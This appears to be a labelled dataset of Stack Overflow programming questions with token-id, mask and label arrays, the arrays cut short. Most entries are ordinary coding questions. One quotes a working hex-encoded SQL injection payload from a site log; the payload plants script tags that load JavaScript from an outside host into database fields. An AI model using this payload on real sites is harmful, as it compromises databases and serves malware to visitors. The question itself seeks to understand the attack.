[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How can I create a windows resource to embed in a dotnet assembly, starting from text? === I was looking into <a href="http://stackoverflow.com/questions/120936/can-i-add-custom-version-strings-to-a-net-dll">embedding custom version strings</a> using in assemblies a while back, and one approach that the documentation suggested was to embed a windows resource. The only way I can see to create a windows resource is to use the 'Native Resource Template', but the template is a binary file that isn't suitable for using with <a href="http://tortoisesvn.net/docs/release/TortoiseSVN_en/tsvn-subwcrev.html">subwcrev</a>. Is there a way of creating a windows resource as part of a C# project that starts with a human-editable text file, similarly to the .rc files that C++ projects use? If so, how?
0
[ 2, 184, 92, 31, 1600, 21, 1936, 6577, 20, 11911, 69, 19, 21, 14123, 2328, 1475, 15, 1422, 37, 1854, 60, 800, 3726, 3726, 31, 23, 699, 77, 13, 1, 58, 746, 14057, 3726, 7, 21127, 6903, 25325, 2549, 9990, 9, 960, 118, 24652, 18, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
ASP.NET Theme Images === How would I set an image to come from a theme directory (my theme changes so I don't want to directly reference) I am sure this is possible but every example I find doesn't seem to work. They are usually along the lines of: <asp:image ID="Image1" runat="server" ImageUrl="Web/Mode1.jpg" /> where Web would be a sub directory in my themes folder. Suggesting the theme directory would be added at runtime.
0
[ 2, 28, 306, 9, 2328, 3184, 3502, 800, 3726, 3726, 184, 83, 31, 309, 40, 1961, 20, 340, 37, 21, 3184, 16755, 13, 5, 915, 3184, 1693, 86, 31, 221, 22, 38, 259, 20, 1703, 2801, 6, 31, 589, 562, 48, 25, 938, 47, 352, 823, 31, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Consulting : Deciding rates and negotiating === I am planning on starting out doing consulting in the bay area. I would like to know how do you guys decide on consulting rates for a project and how do you go about negotiating them with a client?
2
[ 2, 11146, 13, 45, 11211, 5332, 17, 21489, 800, 3726, 3726, 31, 589, 2334, 27, 1422, 70, 845, 11146, 19, 14, 899, 217, 9, 31, 83, 101, 20, 143, 184, 107, 42, 2776, 4073, 27, 11146, 5332, 26, 21, 669, 17, 184, 107, 42, 162, 88, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
Embedding my .NET control in MS Project 2003 === I need to extend MS Project's functionality for my company, so I would like to embed some .NET GUI controls into Project. The plan is that my controls save the user input into my custom DB tables, but I do have to bind them to tasks, current user, resources etc. Could you give me some advise how to start? I am interested in: - Sample apps/walk throughs, how to embed a control into MS Project. - How to bind user input of my control to current context (e.g., currently selected task) - Since the control runs on the client side, how can I roll it out enterprise wide.
0
[ 2, 11911, 69, 3258, 51, 13, 9, 2328, 569, 19, 4235, 669, 973, 800, 3726, 3726, 31, 376, 20, 7206, 4235, 669, 22, 18, 18548, 26, 51, 237, 15, 86, 31, 83, 101, 20, 11911, 69, 109, 13, 9, 2328, 9457, 8671, 77, 669, 9, 14, 944, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Visual Studio's keybindigs for Eclipse === Does anybody has keybinding sheme similar to VS 2005 available for Eclipse? How to import it into preferences of Eclipse (I see only export button).
0
[ 2, 3458, 1120, 22, 18, 1246, 4772, 12158, 18, 26, 11652, 800, 3726, 3726, 630, 11181, 63, 1246, 22260, 39, 790, 835, 20, 4611, 812, 904, 26, 11652, 60, 184, 20, 9010, 32, 77, 9808, 18, 16, 11652, 13, 5, 49, 196, 104, 7487, 5167,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
How do I tell Java to map a logical font (e.g. SansSerif) to a specific font on my system? === Is there a way to map a logical font (e.g. SansSerif) to a different font when running a Java program? If so, does the method differ between Java VM versions?
0
[ 2, 184, 107, 31, 494, 8247, 20, 2942, 21, 11545, 9978, 13, 5, 62, 9, 263, 9, 523, 9557, 9807, 6, 20, 21, 1903, 9978, 27, 51, 329, 60, 800, 3726, 3726, 25, 80, 21, 161, 20, 2942, 21, 11545, 9978, 13, 5, 62, 9, 263, 9, 523, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
run oracle sql script from java === i have a bunch of sql scripts that should upgrade the database when the java web application starts up. i tried using the ibatis scriptrunner, but it fails gloriously when defining triggers, where the ";" character does not mark an end of statement. now i have written my own version of a script runner, which basically does the job, but destroys possible formatting and comments, especially in "create or replace view". public class ScriptRunner { private final DataSource ds; public ScriptRunner(DataSource ds) { this.ds = ds; } public void run(InputStream sqlStream) throws SQLException, IOException { sqlStream.reset(); final Statement statement = ds.getConnection().createStatement(); List<String> sqlFragments = createSqlfragments(sqlStream); for (String toRun : sqlFragments) { if (toRun.length() > 0) { statement.execute(toRun); } } } private static List<String> createSqlfragments(InputStream sqlStream) throws IOException { BufferedReader br = new BufferedReader(new InputStreamReader(sqlStream)); List<String> ret = new ArrayList<String>(); String line; StringBuilder script = new StringBuilder(); while ((line = br.readLine()) != null) { if (line.equals("/")) { ret.add(removeMultilineComments(script)); script = new StringBuilder(); } else { //strip comments final int indexComment = line.indexOf("--"); String lineWithoutComments = (indexComment != -1) ? line.substring(0, indexComment) : line; script.append(lineWithoutComments).append(" "); } } if (script.length() > 0) { ret.add(removeMultilineComments(script)); } return ret; } private static String removeMultilineComments(StringBuilder script) { return script.toString().replaceAll("/\\*(.*?)\\*/", "").trim(); } is there a clean way to acieve this? is there something in hibernate i have not seen? or can i pass an inputstream to sqlplus somehow? besides my worries about the formatting, i doubt that this code is error-free, since i have limited knowledge about the pl/sql syntax.
0
[ 2, 485, 15759, 4444, 255, 3884, 37, 8247, 800, 3726, 3726, 31, 57, 21, 7653, 16, 4444, 255, 17505, 30, 378, 9483, 14, 6018, 76, 14, 8247, 2741, 3010, 3244, 71, 9, 31, 794, 568, 14, 13, 9747, 3409, 3884, 12993, 15, 47, 32, 13614,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Regex for specifig tags and their content, groupped by the tag name === Here is the input: ... <tag1> content for tag 1 </tag1> <tag2> content for tag 2 </tag2> <tag3> content for tag 3 </tag3> ... I would like to get 3 matches, each with two groups. First group would contain the name of the tag and the second group would contain the inner text of the tag. There are just those three tags, so it doesn't need to be universal. In other words: match.Groups["name"] would be "tag1" match.Groups["value"] would be "content for tag 2" Any ideas?
0
[ 2, 7953, 1706, 26, 12737, 821, 2816, 3383, 18, 17, 66, 2331, 15, 214, 3631, 34, 14, 3383, 204, 800, 3726, 3726, 235, 25, 14, 6367, 45, 13, 9, 9, 9, 13, 1, 8628, 165, 1, 2331, 26, 3383, 137, 13, 1, 118, 8628, 165, 1, 13, 1,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
UserHostAddress gives wrong IPs === I collect statistics on IP addresses from where users visit my site and I have noticed what there are only two IP addresses presented, 172.16.16.1 and 172.16.16.248. The property I use to determine IP address is Request.UserHostAddress What could be a reason of IP address information losing? All the users are from around the world, so they cann't be behind only two proxies.
0
[ 2, 4155, 11694, 27950, 2352, 1389, 31, 1919, 800, 3726, 3726, 31, 5543, 5818, 27, 15735, 12636, 37, 113, 3878, 2139, 51, 689, 17, 31, 57, 2711, 98, 80, 50, 104, 81, 15735, 12636, 1831, 15, 369, 135, 9, 1091, 9, 1091, 9, 165, 17,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
To which kind of problem is functional programming well suited? === Functional programming seems to be a paradigm in computer science which has more and more echo. I wonder which kind of problems are better solved with a functional programming approach rather than with a more traditional object oriented approach. Thank you.
4
[ 2, 20, 56, 825, 16, 1448, 25, 7652, 3143, 134, 12949, 60, 800, 3726, 3726, 7652, 3143, 2206, 20, 44, 21, 20234, 19, 1428, 762, 56, 63, 91, 17, 91, 8117, 9, 31, 2666, 56, 825, 16, 1716, 50, 574, 15091, 29, 21, 7652, 3143, 2141,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0...
Java Webservice testing === I provide a web service to my organisation. i was wondering would anyone recommeding the use of apache cactus for setting up a testing framework or has anyone worked with any other web service frameworks that may be useful? Thanks Damien
0
[ 2, 8247, 2741, 11449, 4431, 800, 3726, 3726, 31, 1181, 21, 2741, 365, 20, 51, 4080, 9, 31, 23, 5712, 83, 1276, 302, 960, 4688, 68, 14, 275, 16, 17140, 25225, 26, 2697, 71, 21, 4431, 6596, 54, 63, 1276, 577, 29, 186, 89, 2741, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0...
Attempted SQL injection attack - what are they trying to do? === I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no *successful* attacks, but a recent log showed an interesting technique: *Line breaks added for clarity* http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20@S%20CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263 686172283430303029204445434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F 626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69 6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72 20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970 653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420 46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528 404046455443485F5354415455533D302920424547494E20657865632827757064617465 205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C 736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373 7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077 6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73 6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854 2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043 4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);&amp;_X=" Can anyone shed light on what the "CAST and EXEC" is attempting to do?
0
[ 2, 3066, 4444, 255, 13646, 991, 13, 8, 98, 50, 59, 749, 20, 107, 60, 800, 3726, 3726, 31, 57, 21, 317, 4325, 2271, 30, 63, 74, 3396, 21, 234, 16, 4444, 255, 13646, 3080, 84, 14, 236, 310, 1342, 9, 31, 7008, 275, 18906, 2541, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What does "the business" need to understand about you / IT? === Apologies - not exactly a programming related query, but (I hope) valuable none the less. I've the opportunity to help develop the skill set of a future "general manager" (aiming at CEO level in a small to medium sized firm; something like a divisional head in a larger firm). The person in question has a solid business background, with experience in business management, business operations, marketing, etc, and is currently getting an introduction into the service management world, but otherwise minimal exposure to the technology world. The question then is, **what, in your perfect world, would someone in a senior management position understand about you as a technologist? or about the IT world in general**? If you've examples of books they ought to read, weblogs, etc, then so much the better.
0
[ 2, 98, 630, 13, 7, 124, 508, 7, 376, 20, 1369, 88, 42, 13, 118, 32, 60, 800, 3726, 3726, 27101, 13, 8, 52, 1890, 21, 3143, 1597, 25597, 15, 47, 13, 5, 49, 1376, 6, 5940, 2369, 14, 787, 9, 31, 22, 195, 14, 2893, 20, 448, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Trapping messages in MFC - Whats the difference? === I was just wondering what (if any) the difference was between the following two message traps in MFC for the function, OnSize(..). #1 - Via Message map: BEGIN_MESSAGE_MAP(CClassWnd, CBaseClassWnd) ... ON_WM_SIZE() .. END_MESSAGE_MAP() #2 - Via afx_message: afx_msg type OnSize(...); They seem to be used interchangeably, which one should be used or does it depend on other factors?
0
[ 2, 22444, 7561, 19, 307, 7061, 13, 8, 98, 18, 14, 2841, 60, 800, 3726, 3726, 31, 23, 114, 5712, 98, 13, 5, 821, 186, 6, 14, 2841, 23, 128, 14, 249, 81, 2802, 5585, 18, 19, 307, 7061, 26, 14, 1990, 15, 27, 10454, 5, 9, 9, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Linq equivalent of foreach === I'd like to do the equivalent of the following in LINQ, but I can't figure out how: IEnumerable<Item> items = GetItems(); items.ForEach(i => i.DoStuff()); What is the real syntax?
0
[ 2, 6294, 1251, 4602, 16, 26, 14322, 800, 3726, 3726, 31, 22, 43, 101, 20, 107, 14, 4602, 16, 14, 249, 19, 6294, 1251, 15, 47, 31, 92, 22, 38, 1465, 70, 184, 45, 13, 660, 6336, 106, 579, 1, 2119, 79, 1, 3755, 800, 164, 2119, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Printing web page programmatically in Java === I have a J2EE based web application. In one of the pages there is a button labeled "Print". On clicking this button the details in that page should be printed. Please suggest how best this task of printing the web page could be done. Thanks in advance...:)
0
[ 2, 7312, 2741, 2478, 625, 6732, 1326, 19, 8247, 800, 3726, 3726, 31, 57, 21, 487, 135, 2851, 432, 2741, 3010, 9, 19, 53, 16, 14, 4434, 80, 25, 21, 5167, 14348, 13, 7, 10299, 7, 9, 27, 25590, 48, 5167, 14, 3289, 19, 30, 2478, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Localizing variables in a different stack frame? === I have some auto-generated code which effectively writes out the following in a bunch of different places in some code: no warnings 'uninitialized'; local %ENV = %ENV; local $/ = $/; local @INC = @INC; local %INC = %INC; local $_ = $_; local $| = $|; local %SIG = %SIG; use warnings 'uninitialized'; When auto-generating code, some argue that it's not strictly necessary that the code be "beautiful", but I'd like to pull that out into a subroutine. However, that would localize those variables in that subroutine. Is there a way to localize those variables in the calling stack frame?
0
[ 2, 375, 3335, 12157, 19, 21, 421, 7566, 3523, 60, 800, 3726, 3726, 31, 57, 109, 3108, 8, 25314, 1797, 56, 5463, 6215, 70, 14, 249, 19, 21, 7653, 16, 421, 1489, 19, 109, 1797, 45, 90, 3590, 18, 13, 22, 1020, 27313, 1333, 22, 73...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
How can I mimic Visual Studio's "Ctrl-K, C" two-step macro behaviour using, e.g., Autohotkey? === I'm trying to set up [Autohotkey][1] macros for some common tasks, and I want the hotkeys to mimic Visual Studio's "two-step shortcut" behaviour - i.e. pressing Ctrl-K will enable "macro mode"; within macro mode, pressing certain keys will run a macro and then disable 'macro mode', and any other key will just disable macro mode. Example - when typing a filename, I want to be able to insert today's date by tapping Ctrl-K, then pressing d. Does anyone have a good example of a stateful autohotkey script that behaves like this? [1]: http://www.autohotkey.com/
0
[ 2, 184, 92, 31, 13567, 3458, 1120, 22, 18, 13, 7, 4812, 6362, 8, 197, 15, 272, 7, 81, 8, 8375, 9069, 7727, 568, 15, 13, 62, 9, 263, 9, 15, 3108, 7010, 4237, 60, 800, 3726, 3726, 31, 22, 79, 749, 20, 309, 71, 636, 18042, 70...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
What's the best way to store simple user settings in Python? === I'm programming (in Python) a website which will have users. These users will have a number of settings, such as their choice of colour scheme, etc. I'm happy to store these as plain text files, and security is not an issue. The way I currently see it is: there's a dictionary, where all the keys are users and the values are dictionaries with the users' settings in them. For example, userdb["bob"]["colour_scheme"] would have the value "blue". What's the best way to store it on file? Pickling the dictionary? Are there better ways of doing what I'm trying to do, anyway?
0
[ 2, 98, 22, 18, 14, 246, 161, 20, 1718, 1935, 4155, 12410, 19, 20059, 60, 800, 3726, 3726, 31, 22, 79, 3143, 13, 5, 108, 20059, 6, 21, 2271, 56, 129, 57, 3878, 9, 158, 3878, 129, 57, 21, 234, 16, 12410, 15, 145, 28, 66, 1837,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
Can you recommend a Java library for reading (and possibly writing) CSV files? === Can you recommend a Java library for reading, parsing, validating and mapping rows in a comma separated value (CSV) file to Java value objects (JavaBeans)?
0
